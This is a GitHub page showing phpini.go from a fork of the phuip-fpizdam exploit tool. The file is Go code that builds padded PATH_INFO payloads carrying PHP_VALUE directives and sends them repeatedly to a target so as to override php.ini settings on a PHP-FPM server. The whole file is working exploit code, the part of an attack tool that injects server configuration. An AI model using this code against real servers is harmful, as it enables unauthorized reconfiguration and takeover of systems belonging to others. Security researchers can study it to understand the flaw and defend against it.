forked from neex/phuip-fpizdam
-
Notifications
You must be signed in to change notification settings - Fork 1
/
phpini.go
34 lines (30 loc) · 947 Bytes
/
phpini.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package main
import (
"fmt"
"log"
"net/http"
"strings"
)
func MakePathInfo(phpValue string) (string, error) {
pi := "/PHP_VALUE\n" + phpValue
if len(pi) > PosOffset {
return "", fmt.Errorf("php.ini value is too long: %#v", phpValue)
}
return pi + strings.Repeat(";", PosOffset-len(pi)), nil
}
func SetSetting(requester *Requester, params *AttackParams, setting string, tries int) error {
log.Printf("Trying to set %#v...", setting)
for i := 0; i < tries; i++ {
if _, _, err := SetSettingSingle(requester, params, setting, ""); err != nil {
return fmt.Errorf("error while setting %#v: %v", setting, err)
}
}
return nil
}
func SetSettingSingle(requester *Requester, params *AttackParams, setting, queryStringPrefix string) (*http.Response, []byte, error) {
payload, err := MakePathInfo(setting)
if err != nil {
return nil, nil, err
}
return requester.RequestWithQueryStringPrefix(payload, params, queryStringPrefix)
}